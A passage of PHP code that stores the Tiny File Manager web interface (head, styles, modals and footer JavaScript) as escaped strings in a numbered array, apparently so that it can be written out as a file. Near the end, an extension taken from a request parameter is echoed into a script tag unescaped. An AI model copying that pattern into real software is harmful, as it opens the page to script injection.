shrink-to-fit=no\">", 3599 => " <meta name=\"description\" content=\"Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager\">", 3600 => " <meta name=\"author\" content=\"CCP Programmers\">", 3601 => " <meta name=\"robots\" content=\"noindex, nofollow\">", 3602 => " <meta name=\"googlebot\" content=\"noindex\">", 3603 => " <?php if(\$favicon_path) { echo '<link rel=\"icon\" href=\"'.fm_enc(\$favicon_path).'\" type=\"image/png\">'; } ?>", 3604 => " <title><?php echo fm_enc(APP_TITLE) ?></title>", 3605 => " <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\">", 3606 => " <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css\">", 3607 => " <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css\" />", 3608 => " <?php if (FM_USE_HIGHLIGHTJS): ?>", 3609 => " <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css\">", 3610 => " <?php endif; ?>", 3611 => " <style>", 3612 => " body { font-size:14px;color:#222;background:#F7F7F7; }", 3613 => " body.navbar-fixed { margin-top:55px; }", 3614 => " a:hover, a:visited, a:focus { text-decoration:none !important; }", 3615 => " * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }", 3616 => " .filename, td, th { white-space:nowrap }", 3617 => " .navbar-brand { font-weight:bold; }", 3618 => " .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }", 3619 => " .nav-item.avatar a > i { font-size:15px; }", 3620 => " .nav-item.avatar .dropdown-menu a { font-size:13px; }", 3621 => " #search-addon { font-size:12px;border-right-width:0; }", 3622 => " #search-addon2 { background:transparent;border-left:0; }", 3623 => " .bread-crumb { color:#cccccc;font-style:normal; }", 3624 => " #main-table .filename a { color:#222222; }", 3625 => " .table td, .table th { vertical-align:middle !important; }", 3626 => " .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }", 3627 => " .table-sm td, .table-sm th { padding:.4rem; }", 3628 => " .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }", 3629 => " .hidden { display:none }", 3630 => " pre.with-hljs { padding:0 }", 3631 => " pre.with-hljs code { margin:0;border:0;overflow:visible }", 3632 => " code.maxheight, pre.maxheight { max-height:512px }", 3633 => " .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }", 3634 => " .fa.fa-home { font-size:1.3em;vertical-align:bottom }", 3635 => " .path { margin-bottom:10px }", 3636 => " form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }", 3637 => " .right { text-align:right }", 3638 => " .center, .close, .login-form { text-align:center }", 3639 => " .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }", 3640 => " .message.ok { border-color:green;color:green }", 3641 => " .message.error { border-color:red;color:red }", 3642 => " .message.alert { border-color:orange;color:orange }", 3643 => " .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) }", 3644 => " .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px }", 3645 => " .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }", 3646 => " .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }", 3647 => " .compact-table { border:0;width:auto }", 3648 => " .compact-table td, .compact-table th { width:100px;border:0;text-align:center }", 3649 => " .compact-table tr:hover td { background-color:#fff }", 3650 => " .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }", 3651 => " .break-word { word-wrap:break-word;margin-left:30px }", 3652 => " .break-word.float-left a { color:#7d7d7d }", 3653 => " .break-word + .float-right { padding-right:30px;position:relative }", 3654 => " .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }", 3655 => " #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }", 3656 => " @media (max-width:481px) {", 3657 => " #editor { top:150px; }", 3658 => " }", 3659 => " #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }", 3660 => " .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }", 3661 => " li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:\"\\f016\";margin-right:5px }", 3662 => " li.folder:before { content:\"\\f114\" }", 3663 => " i.fa.fa-folder-o { color:#0157b3 }", 3664 => " i.fa.fa-picture-o { color:#26b99a }", 3665 => " i.fa.fa-file-archive-o { color:#da7d7d }", 3666 => " .btn-2 i.fa.fa-file-archive-o { color:inherit }", 3667 => " i.fa.fa-css3 { color:#f36fa0 }", 3668 => " i.fa.fa-file-code-o { color:#007bff }", 3669 => " i.fa.fa-code { color:#cc4b4c }", 3670 => " i.fa.fa-file-text-o { color:#0096e6 }", 3671 => " i.fa.fa-html5 { color:#d75e72 }", 3672 => " i.fa.fa-file-excel-o { color:#09c55d }", 3673 => " i.fa.fa-file-powerpoint-o { color:#f6712e }", 3674 => " i.go-back { font-size:1.2em;color:#007bff; }", 3675 => " .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }", 3676 => " .dataTables_filter { display:none; }", 3677 => " table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }", 3678 => " table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }", 3679 => " table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }", 3680 => " table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }", 3681 => " .footer-action li { margin-bottom:10px; }", 3682 => " .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }", 3683 => " hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }", 3684 => " .ekko-lightbox .modal-dialog { max-width:98%; }", 3685 => " .ekko-lightbox-item.fade.in.show .row { background:#fff; }", 3686 => " .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }", 3687 => " .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }", 3688 => " .ekko-lightbox-nav-overlay a:hover { color:#20507D; }", 3689 => " #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }", 3690 => " #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }", 3691 => " @-webkit-keyframes fadein { from { bottom:0;opacity:0; }", 3692 => " to { bottom:30px;opacity:1; }", 3693 => " }", 3694 => " @keyframes fadein { from { bottom:0;opacity:0; }", 3695 => " to { bottom:30px;opacity:1; }", 3696 => " }", 3697 => " @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }", 3698 => " to { bottom:0;opacity:0; }", 3699 => " }", 3700 => " @keyframes fadeout { from { bottom:30px;opacity:1; }", 3701 => " to { bottom:0;opacity:0; }", 3702 => " }", 3703 => " #main-table span.badge { border-bottom:2px solid #f8f9fa }", 3704 => " #main-table span.badge:nth-child(1) { border-color:#df4227 }", 3705 => " #main-table span.badge:nth-child(2) { border-color:#f8b600 }", 3706 => " #main-table span.badge:nth-child(3) { border-color:#00bd60 }", 3707 => " #main-table span.badge:nth-child(4) { border-color:#4581ff }", 3708 => " #main-table span.badge:nth-child(5) { border-color:#ac68fc }", 3709 => " #main-table span.badge:nth-child(6) { border-color:#45c3d2 }", 3710 => " @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }", 3711 => " }", 3712 => " .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }", 3713 => " .lds-facebook { display:none;position:relative;width:64px;height:64px }", 3714 => " .lds-facebook div,.lds-facebook.show-me { display:inline-block }", 3715 => " .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }", 3716 => " .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }", 3717 => " .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }", 3718 => " .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }", 3719 => " @keyframes lds-facebook { 0% { top:6px;height:51px }", 3720 => " 100%,50% { top:19px;height:26px }", 3721 => " }", 3722 => " ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }", 3723 => " ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}", 3724 => " .c-preview-img {", 3725 => " max-width: 300px;", 3726 => " }", 3727 => " </style>", 3728 => " <?php", 3729 => " if (FM_THEME == \"dark\"): ?>", 3730 => " <style>", 3731 => " body.theme-dark { background-color: #2f2a2a; }", 3732 => " .list-group .list-group-item { background: #343a40; }", 3733 => " .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }", 3734 => " a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }", 3735 => " ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }", 3736 => " .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }", 3737 => " .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}", 3738 => " </style>", 3739 => " <?php endif; ?>", 3740 => "</head>", 3741 => "<body class=\"<?php echo (FM_THEME == \"dark\") ? 'theme-dark' : ''; ?> <?php echo \$isStickyNavBar; ?>\">", 3742 => "<div id=\"wrapper\" class=\"container-fluid\">", 3743 => "", 3744 => " <!-- New Item creation -->", 3745 => " <div class=\"modal fade\" id=\"createNewItem\" tabindex=\"-1\" role=\"dialog\" aria-label=\"newItemModalLabel\" aria-hidden=\"true\">", 3746 => " <div class=\"modal-dialog\" role=\"document\">", 3747 => " <div class=\"modal-content <?php echo fm_get_theme(); ?>\">", 3748 => " <div class=\"modal-header\">", 3749 => " <h5 class=\"modal-title\" id=\"newItemModalLabel\"><i class=\"fa fa-plus-square fa-fw\"></i><?php echo lng('CreateNewItem') ?></h5>", 3750 => " <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">", 3751 => " <span aria-hidden=\"true\">×</span>", 3752 => " </button>", 3753 => " </div>", 3754 => " <div class=\"modal-body\">", 3755 => " <p><label for=\"newfile\"><?php echo lng('ItemType') ?> </label></p>", 3756 => "", 3757 => " <div class=\"custom-control custom-radio custom-control-inline\">", 3758 => " <input type=\"radio\" id=\"customRadioInline1\" name=\"newfile\" value=\"file\" class=\"custom-control-input\">", 3759 => " <label class=\"custom-control-label\" for=\"customRadioInline1\"><?php echo lng('File') ?></label>", 3760 => " </div>", 3761 => "", 3762 => " <div class=\"custom-control custom-radio custom-control-inline\">", 3763 => " <input type=\"radio\" id=\"customRadioInline2\" name=\"newfile\" value=\"folder\" class=\"custom-control-input\" checked=\"\">", 3764 => " <label class=\"custom-control-label\" for=\"customRadioInline2\"><?php echo lng('Folder') ?></label>", 3765 => " </div>", 3766 => "", 3767 => " <p class=\"mt-3\"><label for=\"newfilename\"><?php echo lng('ItemName') ?> </label></p>", 3768 => " <input type=\"text\" name=\"newfilename\" id=\"newfilename\" value=\"\" class=\"form-control\">", 3769 => " </div>", 3770 => " <div class=\"modal-footer\">", 3771 => " <button type=\"button\" class=\"btn btn-outline-primary\" data-dismiss=\"modal\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></button>", 3772 => " <button type=\"button\" class=\"btn btn-success\" onclick=\"newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('CreateNow') ?></button>", 3773 => " </div>", 3774 => " </div>", 3775 => " </div>", 3776 => " </div>", 3777 => "", 3778 => " <!-- Modal -->", 3779 => " <div class=\"modal fade\" id=\"searchModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"searchModalLabel\" aria-hidden=\"true\">", 3780 => " <div class=\"modal-dialog modal-lg\" role=\"document\">", 3781 => " <div class=\"modal-content <?php echo fm_get_theme(); ?>\">", 3782 => " <div class=\"modal-header\">", 3783 => " <h5 class=\"modal-title col-10\" id=\"searchModalLabel\">", 3784 => " <div class=\"input-group input-group\">", 3785 => " <input type=\"text\" class=\"form-control\" placeholder=\"<?php echo lng('Search') ?> a files\" aria-label=\"<?php echo lng('Search') ?>\" aria-describedby=\"search-addon3\" id=\"advanced-search\" autofocus required>", 3786 => " <div class=\"input-group-append\">", 3787 => " <span class=\"input-group-text\" id=\"search-addon3\"><i class=\"fa fa-search\"></i></span>", 3788 => " </div>", 3789 => " </div>", 3790 => " </h5>", 3791 => " <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">", 3792 => " <span aria-hidden=\"true\">×</span>", 3793 => " </button>", 3794 => " </div>", 3795 => " <div class=\"modal-body\">", 3796 => " <form action=\"\" method=\"post\">", 3797 => " <div class=\"lds-facebook\"><div></div><div></div><div></div></div>", 3798 => " <ul id=\"search-wrapper\">", 3799 => " <p class=\"m-2\"><?php echo lng('Search file in folder and subfolders...') ?></p>", 3800 => " </ul>", 3801 => " </form>", 3802 => " </div>", 3803 => " </div>", 3804 => " </div>", 3805 => " </div>", 3806 => " <script type=\"text/html\" id=\"js-tpl-modal\">", 3807 => " <div class=\"modal fade\" id=\"js-ModalCenter-<%this.id%>\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"ModalCenterTitle\" aria-hidden=\"true\">", 3808 => " <div class=\"modal-dialog modal-dialog-centered\" role=\"document\">", 3809 => " <div class=\"modal-content\">", 3810 => " <div class=\"modal-header\">", 3811 => " <h5 class=\"modal-title\" id=\"ModalCenterTitle\"><%this.title%></h5>", 3812 => " <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">", 3813 => " <span aria-hidden=\"true\">×</span>", 3814 => " </button>", 3815 => " </div>", 3816 => " <div class=\"modal-body\">", 3817 => " <%this.content%>", 3818 => " </div>", 3819 => " <div class=\"modal-footer\">", 3820 => " <button type=\"button\" class=\"btn btn-outline-primary\" data-dismiss=\"modal\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></button>", 3821 => " <%if(this.action){%><button type=\"button\" class=\"btn btn-primary\" id=\"js-ModalCenterAction\" data-type=\"js-<%this.action%>\"><%this.action%></button><%}%>", 3822 => " </div>", 3823 => " </div>", 3824 => " </div>", 3825 => " </div>", 3826 => " </script>", 3827 => "", 3828 => " <?php", 3829 => " }", 3830 => "", 3831 => " /**", 3832 => " * Show page footer", 3833 => " */", 3834 => " function fm_show_footer()", 3835 => " {", 3836 => " ?>", 3837 => "</div>", 3838 => "<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"></script>", 3839 => "<script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js\"></script>", 3840 => "<script src=\"https://cdn.datatables.net/1.11.5/js/jquery.dataTables.min.js\"></script>", 3841 => "<script src=\"https://cdn.datatables.net/plug-ins/1.11.5/sorting/absolute.js\"></script>", 3842 => "<script src=\"https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js\"></script>", 3843 => "<?php if (FM_USE_HIGHLIGHTJS): ?>", 3844 => " <script src=\"https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js\"></script>", 3845 => " <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>", 3846 => "<?php endif; ?>", 3847 => "<script>", 3848 => " \$(document).on('click', '[data-toggle=\"lightbox\"]', function(event) {", 3849 => " event.preventDefault();", 3850 => " var reInitHighlight = function() { if(typeof isHighlightingEnabled !== \"undefined\" && isHighlightingEnabled) { setTimeout(function () { \$('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };", 3851 => " \$(this).ekkoLightbox({", 3852 => " alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }", 3853 => " });", 3854 => " });", 3855 => " //TFM Config", 3856 => " window.curi = \"https://tinyfilemanager.github.io/config.json\", window.config = null;", 3857 => " function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { \$.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}", 3858 => " function template(html,options){", 3859 => " var re=/<\\%([^\\%>]+)?\\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\\n':'r.push('+line+');\\n'):(code+=line!=''?'r.push(\"'+line.replace(/\"/g,'\\\\\"')+'\");\\n':'');return add}", 3860 => " while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}", 3861 => " add(html.substr(cursor,html.length-cursor));code+='return r.join(\"\");';return new Function(code.replace(/[\\r\\t\\n]/g,'')).apply(options)", 3862 => " }", 3863 => " function newfolder(e) {", 3864 => " var t = document.getElementById(\"newfilename\").value, n = document.querySelector('input[name=\"newfile\"]:checked').value;", 3865 => " null !== t && \"\" !== t && n && (window.location.hash = \"#\", window.location.search = \"p=\" + encodeURIComponent(e) + \"&new=\" + encodeURIComponent(t) + \"&type=\" + encodeURIComponent(n))", 3866 => " }", 3867 => " function rename(e, t) {var n = prompt(\"New name\", t);null !== n && \"\" !== n && n != t && (window.location.search = \"p=\" + encodeURIComponent(e) + \"&ren=\" + encodeURIComponent(t) + \"&to=\" + encodeURIComponent(n))}", 3868 => " function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = \"boolean\" == typeof t ? t : !e[n].checked }", 3869 => " function get_checkboxes() { for (var e = document.getElementsByName(\"file[]\"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = \"checkbox\") && t.push(e[n]); return t }", 3870 => " function select_all() { change_checkboxes(get_checkboxes(), !0) }", 3871 => " function unselect_all() { change_checkboxes(get_checkboxes(), !1) }", 3872 => " function invert_all() { change_checkboxes(get_checkboxes()) }", 3873 => " function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }", 3874 => " function backup(e, t) { //Create file backup with .bck", 3875 => " var n = new XMLHttpRequest,", 3876 => " a = \"path=\" + e + \"&file=\" + t + \"&type=backup&ajax=true\";", 3877 => " return n.open(\"POST\", \"\", !0), n.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"), n.onreadystatechange = function () {", 3878 => " 4 == n.readyState && 200 == n.status && toast(n.responseText)", 3879 => " }, n.send(a), !1", 3880 => " }", 3881 => " // Toast message", 3882 => " function toast(txt) { var x = document.getElementById(\"snackbar\");x.innerHTML=txt;x.className = \"show\";setTimeout(function(){ x.className = x.className.replace(\"show\", \"\"); }, 3000); }", 3883 => " //Save file", 3884 => " function edit_save(e, t) {", 3885 => " var n = \"ace\" == t ? editor.getSession().getValue() : document.getElementById(\"normal-editor\").value;", 3886 => " if (typeof n !== 'undefined' && n !== null) {", 3887 => " if (true) {", 3888 => " var data = {ajax: true, content: n, type: 'save'};", 3889 => "", 3890 => " \$.ajax({", 3891 => " type: \"POST\",", 3892 => " url: window.location,", 3893 => " // The key needs to match your method's input parameter (case-sensitive).", 3894 => " data: JSON.stringify(data),", 3895 => " contentType: \"application/json; charset=utf-8\",", 3896 => " //dataType: \"json\",", 3897 => " success: function(mes){toast(\"Saved Successfully\"); window.onbeforeunload = function() {return}},", 3898 => " failure: function(mes) {toast(\"Error: try again\");},", 3899 => " error: function(mes) {toast(`<p style=\"background-color:red\">\${mes.responseText}</p>`);}", 3900 => " });", 3901 => " } else {", 3902 => " var a = document.createElement(\"form\");", 3903 => " a.setAttribute(\"method\", \"POST\"), a.setAttribute(\"action\", \"\");", 3904 => " var o = document.createElement(\"textarea\");", 3905 => " o.setAttribute(\"type\", \"textarea\"), o.setAttribute(\"name\", \"savedata\");", 3906 => " var c = document.createTextNode(n);", 3907 => " o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()", 3908 => " }", 3909 => " }", 3910 => " }", 3911 => " //Check latest version", 3912 => " function latest_release_info(v) {", 3913 => " if(!!window.config){var tplObj={id:1024,title:\"Check Version\",action:false},tpl=\$(\"#js-tpl-modal\").html();", 3914 => " if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}", 3915 => " \$('#wrapper').append(template(tpl,tplObj));\$(\"#js-ModalCenter-1024\").modal('show');}else{fm_get_config();}", 3916 => " }", 3917 => " function show_new_pwd() { \$(\".js-new-pwd\").toggleClass('hidden'); }", 3918 => " //Save Settings", 3919 => " function save_settings(\$this) {", 3920 => " let form = \$(\$this);", 3921 => " \$.ajax({", 3922 => " type: form.attr('method'), url: form.attr('action'), data: form.serialize()+\"&ajax=\"+true,", 3923 => " success: function (data) {if(data) { window.location.reload();}}", 3924 => " }); return false;", 3925 => " }", 3926 => " //Create new password hash", 3927 => " function new_password_hash(\$this) {", 3928 => " let form = \$(\$this), \$pwd = \$(\"#js-pwd-result\"); \$pwd.val('');", 3929 => " \$.ajax({", 3930 => " type: form.attr('method'), url: form.attr('action'), data: form.serialize()+\"&ajax=\"+true,", 3931 => " success: function (data) { if(data) { \$pwd.val(data); } }", 3932 => " }); return false;", 3933 => " }", 3934 => " //Upload files using URL @param {Object}", 3935 => " function upload_from_url(\$this) {", 3936 => " let form = \$(\$this), resultWrapper = \$(\"div#js-url-upload__list\");", 3937 => " \$.ajax({", 3938 => " type: form.attr('method'), url: form.attr('action'), data: form.serialize()+\"&ajax=\"+true,", 3939 => " beforeSend: function() { form.find(\"input[name=uploadurl]\").attr(\"disabled\",\"disabled\"); form.find(\"button\").hide(); form.find(\".lds-facebook\").addClass('show-me'); },", 3940 => " success: function (data) {", 3941 => " if(data) {", 3942 => " data = JSON.parse(data);", 3943 => " if(data.done) {", 3944 => " resultWrapper.append('<div class=\"alert alert-success row\">Uploaded Successful: '+data.done.name+'</div>'); form.find(\"input[name=uploadurl]\").val('');", 3945 => " } else if(data['fail']) { resultWrapper.append('<div class=\"alert alert-danger row\">Error: '+data.fail.message+'</div>'); }", 3946 => " form.find(\"input[name=uploadurl]\").removeAttr(\"disabled\");form.find(\"button\").show();form.find(\".lds-facebook\").removeClass('show-me');", 3947 => " }", 3948 => " },", 3949 => " error: function(xhr) {", 3950 => " form.find(\"input[name=uploadurl]\").removeAttr(\"disabled\");form.find(\"button\").show();form.find(\".lds-facebook\").removeClass('show-me');console.error(xhr);", 3951 => " }", 3952 => " }); return false;", 3953 => " }", 3954 => " //Search template", 3955 => " function search_template(data) {", 3956 => " var response = \"\";", 3957 => " \$.each(data, function (key, val) {", 3958 => " response += `<li><a href=\"?p=\${val.path}&view=\${val.name}\">\${val.path}/\${val.name}</a></li>`;", 3959 => " });", 3960 => " return response;", 3961 => " }", 3962 => " //search", 3963 => " function fm_search() {", 3964 => " var searchTxt = \$(\"input#advanced-search\").val(), searchWrapper = \$(\"ul#search-wrapper\"), path = \$(\"#js-search-modal\").attr(\"href\"), _html = \"\", \$loader = \$(\"div.lds-facebook\");", 3965 => " if(!!searchTxt && searchTxt.length > 2 && path) {", 3966 => " var data = {ajax: true, content: searchTxt, path:path, type: 'search'};", 3967 => " \$.ajax({", 3968 => " type: \"POST\",", 3969 => " url: window.location,", 3970 => " data: data,", 3971 => " beforeSend: function() {", 3972 => " searchWrapper.html('');", 3973 => " \$loader.addClass('show-me');", 3974 => " },", 3975 => " success: function(data){", 3976 => " \$loader.removeClass('show-me');", 3977 => " data = JSON.parse(data);", 3978 => " if(data && data.length) {", 3979 => " _html = search_template(data);", 3980 => " searchWrapper.html(_html);", 3981 => " } else { searchWrapper.html('<p class=\"m-2\">No result found!<p>'); }", 3982 => " },", 3983 => " error: function(xhr) { \$loader.removeClass('show-me'); searchWrapper.html('<p class=\"m-2\">ERROR: Try again later!</p>'); },", 3984 => " failure: function(mes) { \$loader.removeClass('show-me'); searchWrapper.html('<p class=\"m-2\">ERROR: Try again later!</p>');}", 3985 => " });", 3986 => " } else { searchWrapper.html(\"OOPS: minimum 3 characters required!\"); }", 3987 => " }", 3988 => "", 3989 => " //on mouse hover image preview", 3990 => " !function(s){s.previewImage=function(e){var o=s(document),t=\".previewImage\",a=s.extend({xOffset:20,yOffset:-20,fadeIn:\"fast\",css:{padding:\"5px\",border:\"1px solid #cccccc\",\"background-color\":\"#fff\"},eventSelector:\"[data-preview-image]\",dataKey:\"previewImage\",overlayId:\"preview-image-plugin-overlay\"},e);return o.off(t),o.on(\"mouseover\"+t,a.eventSelector,function(e){s(\"p#\"+a.overlayId).remove();var o=s(\"<p>\").attr(\"id\",a.overlayId).css(\"position\",\"absolute\").css(\"display\",\"none\").append(s('<img class=\"c-preview-img\">').attr(\"src\",s(this).data(a.dataKey)));a.css&&o.css(a.css),s(\"body\").append(o),o.css(\"top\",e.pageY+a.yOffset+\"px\").css(\"left\",e.pageX+a.xOffset+\"px\").fadeIn(a.fadeIn)}),o.on(\"mouseout\"+t,a.eventSelector,function(){s(\"#\"+a.overlayId).remove()}),o.on(\"mousemove\"+t,a.eventSelector,function(e){s(\"#\"+a.overlayId).css(\"top\",e.pageY+a.yOffset+\"px\").css(\"left\",e.pageX+a.xOffset+\"px\")}),this},s.previewImage()}(jQuery);", 3991 => "", 3992 => " // Dom Ready Event", 3993 => " \$(document).ready( function () {", 3994 => " //load config", 3995 => " fm_get_config();", 3996 => " //dataTable init", 3997 => " var \$table = \$('#main-table'),", 3998 => " tableLng = \$table.find('th').length,", 3999 => " _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],", 4000 => " emptyType = \$.fn.dataTable.absoluteOrder([{ value: '', position: 'top' }]);", 4001 => " mainTable = \$('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}, {type: emptyType, targets: '_all',},]", 4002 => " });", 4003 => " //search", 4004 => " \$('#search-addon').on( 'keyup', function () {", 4005 => " mainTable.search( this.value ).draw();", 4006 => " });", 4007 => " \$(\"input#advanced-search\").on('keyup', function (e) {", 4008 => " if (e.keyCode === 13) { fm_search(); }", 4009 => " });", 4010 => " \$('#search-addon3').on( 'click', function () { fm_search(); });", 4011 => " //upload nav tabs", 4012 => " \$(\".fm-upload-wrapper .card-header-tabs\").on(\"click\", 'a', function(e){", 4013 => " e.preventDefault();let target=\$(this).data('target');", 4014 => " \$(\".fm-upload-wrapper .card-header-tabs a\").removeClass('active');\$(this).addClass('active');", 4015 => " \$(\".fm-upload-wrapper .card-tabs-container\").addClass('hidden');\$(target).removeClass('hidden');", 4016 => " });", 4017 => " });", 4018 => "</script>", 4019 => "<?php if (isset(\$_GET['edit']) && isset(\$_GET['env']) && FM_EDIT_FILE):", 4020 => " \$ext = \"javascript\";", 4021 => " \$ext = pathinfo(\$_GET[\"edit\"], PATHINFO_EXTENSION);", 4022 => " ?>", 4023 => " <script src=\"https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js\"></script>", 4024 => " <script>", 4025 => " var editor = ace.edit(\"editor\");", 4026 => " editor.getSession().setMode( {path:\"ace/mode/<?php echo \$ext; ?>\", inline:true} );", 4027 => " //editor.setTheme(\"ace/theme/twilight\"); //Dark Theme", 4028 => " 